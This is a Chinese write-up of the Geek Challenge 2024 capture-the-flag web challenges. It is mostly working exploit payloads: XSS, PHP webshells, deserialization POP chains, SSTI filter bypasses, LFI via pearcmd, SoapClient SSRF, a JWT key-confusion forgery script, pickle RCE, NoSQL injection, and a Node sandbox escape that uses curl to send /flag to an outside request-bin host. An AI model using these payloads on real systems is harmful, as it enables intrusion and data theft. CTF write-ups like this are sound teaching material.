极客大挑战2024-web-wp(详细)

发布于:2024-12-22 ⋅ 阅读:(11) ⋅ 点赞:(0)

100%的

js逆向,主要逻辑就在html文件里,直接搜atob

base64解码即可

Problem_On_My_Web

留言板过滤不严导致xss,直接,填127.0.0.1给bot,这时python报错会给出cookie(多提交两次),这可能是非预期。。

正常可以让bot把flag写到留言板

<script>fetch('/flag').then(response              =>               response.text()).then(data              =>{      fetch('/content/68a58f4d322e7ce51a55c03ec8651839',{headers:{'Content-Type' :'application/x-www-form-urlencoded'}, body:"content=123"%2bdata }) }) </script>

SecretInDrivingSchool

后台在此

根据提示猜解账号密码

账号admin

密码SYC@chengxing

可以编辑广告页面的php,过滤了eval,system用``执行系统命令

echo `cat /flag`

baby_upload

检测的点后第一个后缀,直接上传一句话木马

1.jpg.php

<?php eval($_POST['hack']); ?>

拿到shell后system('cat /flag');

ezpop

$syc = new SYC();
$lover = new lover();
$geek = new Geek();
$lover->J1rry = "data://,Welcome GeekChallenge 2024";
$lover->meimeng = $geek;
$syc->starven = "php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag</resource=.htaccess";
$geek->GSBP = array($syc, 'a');
echo (serialize($lover));

g e e k − > G S B P = a r r a y ( geek->GSBP = array( geek>GSBP=array(syc, ‘a’);

通过数组形式调用SYC类中不存在的方法,触发__call()

$syc->starven = "php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag</resource=.htaccess";

用.htaccess预包含绕过死亡exit()

Can_you_Pass_Me

ssti模板注入

过滤了{{}}{%%}

过滤了.|attr

过滤了[]可以用.pop(140),也就是|attr('po''p')(140)

对正则匹配字符串的绕过可以用''分隔开关键词

payload如下

name={%print(''|attr('__cla''ss__')|attr('__ba''se__')|attr('__subcla''sses__')()|attr('po''p')(140)|attr('__in''it__')|attr('__glob''als__')|attr('po''p')('po''p''en')('env|ba''se64')|attr('re''ad')())%}

ez_include

http://80-f7a500b3-d69d-4fd4-a949-6d6aee05e6ef.challenge.ctfplus.cn/index.php?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

重复软链接绕过require_once

再利用register_argc_argv=on和pearcmd上传一个php到tmp

+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST['cmd'])?>+/tmp/1.php

执行包含

http://80-f7a500b3-d69d-4fd4-a949-6d6aee05e6ef.challenge.ctfplus.cn/levelllll2.php?syc=/tmp/1.php

打个env

rce_me

start=start1now

非法变量传参加0e绕过

_[2024.geekchallenge.ctf=10932435112

if (intval($year) < 2024 && intval($year + 1) > 2025)

科学计数法中e在intval时解析成字母,截断转换,而在加法中正常表现为科学计数法

year=2023e2

purpose=rce

code=system('cat /flag');

ez_SSRF

由www.zip获取源码,原生类soupclient解析数组时 被当成http请求中的换行,于是可以插入新数据,包括post data

先做身份的伪造$auth=aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3s

编码过去得到

AUTHORIZATION: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0

然后传入expression进行rce

payload如下

user=le0n%0D%0AAUTHORIZATION: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0D%0AContent-Type: application/x-www-form-urlencoded%0D%0AContent-Length: 35%0D%0A%0D%0Aexpression=`cat /flag`%26aa=

ez_http

按要求传参

本地访问检测的x-real-ip而不是x-forwarded-for

jwt没有检查签名,hasflag改成true就行

PHP不比Java差

$ch=new Challenge();
$geek=new Geek();
$syc=new Syclover();
$geek->a='a';
$geek->b=$syc;
$syc->Where='ReflectionFunction';
$syc->IS='system';
$syc->Starven='invokeArgs';
$syc->Girlfriend=array('whoami');
echo(serialize($geek));

implode遍历打印数组触发__toString,再new一个原生类调用其一个方法(这里用ReflectionFunction)

<?php


$a=new ReflectionFunction('call_user_func');
$a->invokeArgs(array('system','whoami'));


$a=new ReflectionFunction('system');
$a->invokeArgs(array('whoami'));
?>

拿到命令执行再suid越权读取文件,先找可用来提权的

发现可以用file越权读文件

py_game

flask session爆破用常用字典

flask-unsign --cookie "<指定seesion>" --unsign

伪造成admin得到pyc

flask-unsign --sign --cookie "<指定要加密的数据>" --secret '<指定secret_key>'

还原py

uncompyle6 app.pyc

得到源码

# uncompyle6 version 3.9.2
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.12.4 (tags/v3.12.4:8e8a4ba, Jun  6 2024, 19:30:16) [MSC v.1940 64 bit (AMD64)]
# Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
# Compiled at: 2024-11-01 17:37:26
# Size of source mod 2**32: 5558 bytes
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = "a123456"
app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'
#cookie=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.ZymUWA.SmsGfsiVVsmwrWetvPIFaSgQRDc
class User:

    def __init__(self, username, password):
        self.username = username
        self.password = password

    def check(self, data):
        return self.username == data["username"] and self.password == data["password"]


admin = User("admin", "123456j1rrynonono")
Users = [admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, "__getitem__"):
            if dst.get(k):
                if isinstance(v, dict):
                    update(v, dst.get(k))
            dst[k] = v
        elif hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        for u in Users:
            if u.username == username:
                flash("用户名已存在", "error")
                return redirect(url_for("register"))

        new_user = User(username, password)
        Users.append(new_user)
        flash("注册成功!请登录", "success")
        return redirect(url_for("login"))
    else:
        return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        for u in Users:
            if u.check({'username':username,  'password':password}):
                session["username"] = username
                flash("登录成功", "success")
                return redirect(url_for("dashboard"))

        flash("用户名或密码错误", "error")
        return redirect(url_for("login"))
    else:
        return render_template("login.html")


@app.route("/play", methods=["GET", "POST"])
def play():
    if "username" in session:
        with open("/app/templates/play.html", "r", encoding="utf-8") as file:
            play_html = file.read()
        return play_html
    else:
        flash("请先登录", "error")
        return redirect(url_for("login"))


@app.route("/admin", methods=["GET", "POST"])
def admin():
    if "username" in session:
        if session["username"] == "admin":
            return render_template("admin.html", username=(session["username"]))
    flash("你没有权限访问", "error")
    return redirect(url_for("login"))


@app.route("/downloads321")
def downloads321():
    return send_file("./source/app.pyc", as_attachment=True)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/dashboard")
def dashboard():
    if "username" in session:
        is_admin = session["username"] == "admin"
        if is_admin:
            user_tag = "Admin User"
        else:
            user_tag = "Normal User"
        return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
    else:
        flash("请先登录", "error")
        return redirect(url_for("login"))


@app.route("/xml_parse")
def xml_parse():
    try:
        xml_bytes = app.config["xml_data"].encode("utf-8")
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.fromstring(xml_bytes, parser=parser)
        result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
        return Response(result_xml, mimetype="application/xml")
    except etree.XMLSyntaxError as e:
        return str(e)


black_list = [
 "__class__".encode(), "__init__".encode(), "__globals__".encode()]

def check(data):
    print(data)
    for i in black_list:
        print(i)
        if i in data:
            print(i)
            return False

    return True


@app.route("/update", methods=["POST"])
def update_route():
    if "username" in session:
        if session["username"] == "admin":
            if request.data:
                try:
                    if not check(request.data):
                        return ('NONONO, Bad Hacker', 403)
                    else:
                        data = json.loads(request.data.decode())
                        print(data)
                        if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
                            update(data, User)
                            return (jsonify({"message": "更新成功"}), 200)
                        return ('Invalid character', 400)
                except Exception as e:
                    return (
                     f"Exception: {str(e)}", 500)

        else:
            return ('No data provided', 400)
    else:
        flash("你没有权限访问", "error")
        return redirect(url_for("login"))


if __name__ == "__main__":
    # app.run(host="0.0.0.0", port=80, debug=False)
    print(User.__init__.__globals__['app'].config['xml_data'])
    {"username":"leon","__init__":{"__globals__":{"app":{"config":{"xml_data":"<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2222</Year><Description>This is a challenge event for geeks in the year 2222.</Description></GeekChallenge2024>"}}}}}

污染一下xml文件打一个xxe,json可以用16进制编码绕过,file被过滤了大小写绕过即可

not just pop

$lh = new lhRaMK7();
$lh2= new lhRaMK7();
$pa = new Parar();
$st = new Starven();
$syc = new SYC();
$lh->web = $lh2;
$lh2->love="eval($_POST['hack']);";
$lh2->You=1;
$lh2->Do=1;
$lh->love = "1";
$lh->You=$pa;
$lh->Do="999";
$pa->lead = $st;
$st->girl = $pa;
$pa->execurise = "man!";
$pa->hansome = $syc;
$syc->forever = $st;
$st->friend=$lh2;

echo (base64_encode((serialize($lh))));

用__wakeup方法让引用lhRaMK7类实例对象的对象不再引用它(创建了两个IhRaMK7类的实例对象),一旦失去对象引用,就会触发__destruct,绕过throw exception,payload base64编码后长这样

?Syclover=Tzo3OiJsaFJhTUs3Ijo0OntzOjI6IkRvIjtzOjM6Ijk5OSI7czozOiJZb3UiO086NToiUGFyYXIiOjM6e3M6OToiZXhlY3VyaXNlIjtzOjQ6Im1hbiEiO3M6NDoibGVhZCI7Tzo3OiJTdGFydmVuIjoyOntzOjQ6ImdpcmwiO3I6MztzOjY6ImZyaWVuZCI7Tzo3OiJsaFJhTUs3Ijo0OntzOjI6IkRvIjtpOjE7czozOiJZb3UiO2k6MTtzOjQ6ImxvdmUiO3M6MjE6ImV2YWwoJF9QT1NUWydoYWNrJ10pOyI7czozOiJ3ZWIiO047fX1zOjc6ImhhbnNvbWUiO086MzoiU1lDIjoyOntzOjEwOiIAU1lDAGxvdmVyIjtOO3M6NzoiZm9yZXZlciI7cjo1O319czo0OiJsb3ZlIjtzOjE6IjEiO3M6Mzoid2ViIjtyOjc7fQ==

拿到rce后蚁剑链接,绕过disable_functions

发现可以用env提权,直接sudo env cat /flag

jwt_pickle

先用两个jwt获取公钥

import sys
import json
import base64
from gmpy2 import mpz,gcd,c_div
import binascii
from Crypto.Hash import SHA256, SHA384, SHA512
from Crypto.Signature import pkcs1_15 # god bless http://ratmirkarabut.com/articles/ctf-writeup-google-ctf-quals-2017-rsa-ctf-challenge/
import asn1tools
import binascii
import time
import hmac
import hashlib

def b64urldecode(b64):
    return base64.urlsafe_b64decode(b64+("="*(len(b64) % 4)))

def b64urlencode(m):
    return base64.urlsafe_b64encode(m).strip(b"=")

def bytes2mpz(b):
    return mpz(int(binascii.hexlify(b),16))


def der2pem(der, token="RSA PUBLIC KEY"):
    der_b64=base64.b64encode(der).decode('ascii')
    
    lines=[ der_b64[i:i+64] for i in range(0, len(der_b64), 64) ]
    return "-----BEGIN %s-----
%s
-----END %s-----
" % (token, "
".join(lines), token)


def forge_mac(jwt0, public_key):
    jwt0_parts=jwt0.encode('utf8').split(b'.')
    jwt0_msg=b'.'.join(jwt0_parts[0:2])

    alg=b64urldecode(jwt0_parts[0].decode('utf8'))
    # Always use HS256
    alg_tampered=b64urlencode(alg.replace(b"RS256",b"HS256").replace(b"RS384", b"HS256").replace(b"RS512", b"HS256"))

    payload=json.loads(b64urldecode(jwt0_parts[1].decode('utf8')))
    payload['exp'] = int(time.time())+86400
    #print(payload)

    payload_encoded=b64urlencode(json.dumps(payload).encode('utf8'))

    tamper_hmac=b64urlencode(hmac.HMAC(public_key,b'.'.join([alg_tampered, payload_encoded]),hashlib.sha256).digest())

    jwt0_tampered=b'.'.join([alg_tampered, payload_encoded, tamper_hmac])
    print("[+] Tampered JWT: %s" % (jwt0_tampered))
    return jwt0_tampered

# e=mpz(65537) # Can be a couple of other common values

jwt0=sys.argv[1]
jwt1=sys.argv[2]

alg0=json.loads(b64urldecode(jwt0.split('.')[0]))
alg1=json.loads(b64urldecode(jwt1.split('.')[0]))

if not alg0["alg"].startswith("RS") or not alg1["alg"].startswith("RS"):
    raise Exception("Not RSA signed tokens!")
if alg0["alg"] == "RS256":
    HASH = SHA256
elif alg0["alg"] == "RS384":
    HASH = SHA384
elif alg0["alg"] == "RS512":
    HASH = SHA512
else:
    raise Exception("Invalid algorithm")
jwt0_sig_bytes = b64urldecode(jwt0.split('.')[2])
jwt1_sig_bytes = b64urldecode(jwt1.split('.')[2])
if len(jwt0_sig_bytes) != len(jwt1_sig_bytes):
    raise Exception("Signature length mismatch") # Based on the mod exp operation alone, there may be some differences!

jwt0_sig = bytes2mpz(jwt0_sig_bytes)
jwt1_sig = bytes2mpz(jwt1_sig_bytes)

jks0_input = ".".join(jwt0.split('.')[0:2])
hash_0=HASH.new(jks0_input.encode('ascii'))
padded0 = pkcs1_15._EMSA_PKCS1_V1_5_ENCODE(hash_0, len(jwt0_sig_bytes))

jks1_input = ".".join(jwt1.split('.')[0:2])
hash_1=HASH.new(jks1_input.encode('ascii'))
padded1 = pkcs1_15._EMSA_PKCS1_V1_5_ENCODE(hash_1, len(jwt0_sig_bytes))

m0 = bytes2mpz(padded0) 
m1 = bytes2mpz(padded1)

pkcs1 = asn1tools.compile_files('pkcs1.asn', codec='der')
x509 = asn1tools.compile_files('x509.asn', codec='der')

jwts=[]

for e in [mpz(3),mpz(65537)]:
    gcd_res = gcd(pow(jwt0_sig, e)-m0,pow(jwt1_sig, e)-m1)
    #To speed things up switch comments on prev/next lines!
    #gcd_res = mpz(0x143f02c15c5c79368cb9d1a5acac4c66c5724fb7c53c3e048eff82c4b9921426dc717b2692f8b6dd4c7baee23ccf8e853f2ad61f7151e1135b896d3127982667ea7dba03370ef084a5fd9229fc90aeed2b297d48501a6581eab7ec5289e26072d78dd37bedd7ba57b46cf1dd9418cd1ee03671b7ff671906859c5fcda4ff5bc94b490e92f3ba9739f35bd898eb60b0a58581ebdf14b82ea0725f289d1dac982218d6c8ec13548f075d738d935aeaa6260a0c71706ccb8dedef505472ce0543ec83705a7d7e4724432923f6d0d0e58ae2dea15f06b1b35173a2f8680e51eff0fb13431b1f956cf5b08b2185d9eeb26726c780e069adec0df3c43c0a8ad95cbd342)
    print("[*] GCD: ",hex(gcd_res))
    for my_gcd in range(1,100):
        my_n=c_div(gcd_res, mpz(my_gcd))
        if pow(jwt0_sig, e, my_n) == m0:
            print("[+] Found n with multiplier" ,my_gcd, " :
", hex(my_n))
            pkcs1_pubkey=pkcs1.encode("RSAPublicKey", {"modulus": int(my_n), "publicExponent": int(e)})
            x509_der=x509.encode("PublicKeyInfo",{"publicKeyAlgorithm":{"algorithm":"1.2.840.113549.1.1.1","parameters":None},"publicKey":(pkcs1_pubkey, len(pkcs1_pubkey)*8)})
            pem_name = "%s_%d_x509.pem" % (hex(my_n)[2:18], e)
            with open(pem_name, "wb") as pem_out:
                public_key=der2pem(x509_der, token="PUBLIC KEY").encode('ascii')
                pem_out.write(public_key)
                print("[+] Written to %s" % (pem_name))
                jwts.append(forge_mac(jwt0, public_key))
            pem_name = "%s_%d_pkcs1.pem" % (hex(my_n)[2:18], e)
            with open(pem_name, "wb") as pem_out:
                public_key=der2pem(pkcs1_pubkey).encode('ascii')
                pem_out.write(public_key)
                print("[+] Written to %s" % (pem_name))
                jwts.append(forge_mac(jwt0, public_key))

print("="*80)
print("Here are your JWT's once again for your copypasting pleasure")
print("="*80)
for j in jwts:
    print(j.decode('utf8'))




# Test values:
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJqb2UiLCJleHAiOjEzMDA4MTkzODAsImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ.IDcgYnWIJ0my4FurSqfiAAbYBz2BfImT-uSqKKnk-JfncL_Nreo8Phol1KNn9fK0ZmVfcvHL-pUvVUBzI5NrJNCFMiyZWxS7msB2VKl6-jAXr9NqtVjIDyUSr_gpk51xSzHiBPVAnQn8m1Dg3dR0YkP9b5uJ70qpZ37PWOCKYAIfAhinDA77RIP9q4ImwpnJuY3IDuilDKOq9bsb6zWB8USz0PAYReqWierdS4TYAbUFrhuGZ9mPgSLRSQVtibyNTSTQYtfghYkmV9gWyCJUVwMGCM5l1xlylHYiioasBJA1Wr_NAf_sr4G8OVrW1eO01MKhijpaE8pR6DvPYNrTMQ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJqb2UiLCJleHAiOjEzMDA4MTkzODEsImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ.AH-6ZBGA38IjQdBWbc9mPSPwdHGBcNUw1fT-FhhRA-DnX7A7Ecyaip0jt7gOkuvlXfSBXC91DU6FH7rRcnwgs474jgWCAQm6k5hOngOIce_pKQ_Pk1JU_jFKiKzm668htfG06p9caWa-NicxBp42HKB0w9RRBOddnfWk65d9JTI89clgoLxxz7kbuZIyWAh-Cp1h3ckX7XZmknTNqncq4Y2_PSlcTsJ5aoIL7pIgFQ89NkaHImALYI7IOS8nojgCJnJ74un4F6pzt5IQyvFPVXeODPf2UhMEIEyX3GEcK3ryrD_DciJCze3qjtcjR1mBd6zvAGOUtt6XHSY7UHJ3gg


python jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.Ro_KSo9_Q-EnYCssTEWIcj8EdnfCh1L4v5um4fD3Ryn13JtT0Hb2T2dMWObyxq9nDYpOt_HvsIORdx487YWdfB6OS7EpjDkiyws0XIcoHE0hZdOLbM5ZbSpYwp3L3YGBXFMqafH4WhwoLzf52QSGcg0jSfuc2IvfywFe2u1Qb4B7hg0BA5zfwrcNhHcz1Hwq9z2DzyMqxq4xjW8zER0Wop8n7hhLz8N63Mo_Nfz9DYTDK0XCEnlkWYCOzaXGx_yEOMsvj3pa4JpJH5laPA3tnIhLK7XIlOyqu8CkNtV7Q7hJX4ATOTxcC3RnlL_cwRcMX-Z2Hdo2rLCs82oXgWAb6Q eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.FHLW69mCDf5L4shZGGfmFQP68kPpJMDmDgCaqiygZhpsWRlTdgPGGnu9EWoOvc3eGMh-quyiiMnVSmb7ZMmmsgMlnYlkX6DuSlDdSGnZHr0NqLcgnSTHHrx3ncwIsnIQuq_g0DDjcbIUoMPeuUUk2M1oBPbc2iKkl5H17ZaLUFxkjzJs24Mo6hRdqoJN49qcTzwooDutd86nGpbmk87fs1HRR5KdjQmBKLZy37h2FcVmE8kpRlXHx42unFW9ojelZ5qn630BKzPM4jNSCC7ymSYxMXFdv4oplXvJBOtj0ugC_-6HKJyh1Q6www4wPXYUv3DGkS9NqvnAWrP-lMvZdg

再用公钥做HS256签名(我直接改的jwt_forgery里的exp)。

把opcode注进introduction

import pickle
import base64
import subprocess
from flask import Flask, request, render_template_string, make_response, render_template, send_file

class Exploit:
    def __reduce__(self):
        return (subprocess.getoutput, ('cat /flag',))

# 序列化恶意对象并进行 Base64 编码
print(pickle.dumps(Exploit()))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)

noSandbox

先nosql重言式注入绕过manggodb登陆限制

{"username":{"$gt": ""},"password":{"$gt": ""}}

然后是沙盒逃逸

这里沙盒逃逸上下文对象传null,只能用arguments.callee.caller指向外部调用对象,用Proxy对象的get钩子钩住调用者,而只有报错才能拼接字符串触发钩子,所以将Proxy对象当成错误扔出

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor(`return proceSs`.toLowerCase()))();
            const obj = p.mainModule.require(`child_proceSs`.toLowerCase());
            const ex = Object.getOwnPropertyDescriptor(obj, `exeC`.toLowerCase());
            return ex.value(`curl -T /flag  http://requestbin.cn:80/1kxwxa11`).toString();
        }
    })

当然还要绕过过滤,用tolowercase进行大小写绕过关键词过滤,没有回显就直接外带